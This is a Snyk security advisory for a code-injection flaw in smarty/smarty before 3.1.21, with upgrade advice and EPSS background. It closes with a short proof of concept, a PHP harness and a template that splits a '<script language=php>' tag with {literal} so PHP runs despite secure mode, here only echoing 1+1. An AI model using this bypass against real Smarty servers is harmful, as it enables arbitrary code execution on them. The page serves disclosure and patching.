Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Improper Control of Generation of Code ('Code Injection') vulnerabilities in an interactive lesson.
Start learningUpgrade smarty/smarty
to version 3.1.21 or higher.
Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') due to the improper handling of template syntax. An attacker can execute arbitrary code on the server by crafting a template that includes malicious PHP code within a {literal}<{/literal}script language=php>
tag. This bypasses the secure mode restrictions intended to prevent such actions.
<?php
require_once('/home/thue/smarty/libs/SmartyBC.class.php');
$smarty = new Smarty();
$smarty->setTemplateDir('templates/');
$smarty->setCompileDir('templates_c/');
$smarty->enableSecurity();
$smarty->force_compile = true;
$tpl = $smarty->createTemplate('test.tpl');
$tpl->compileTemplateSource();
$smarty->display('test.tpl');
?>
templates/test.tpl:
{literal}<{/literal}script language=php>echo 1+1;</script>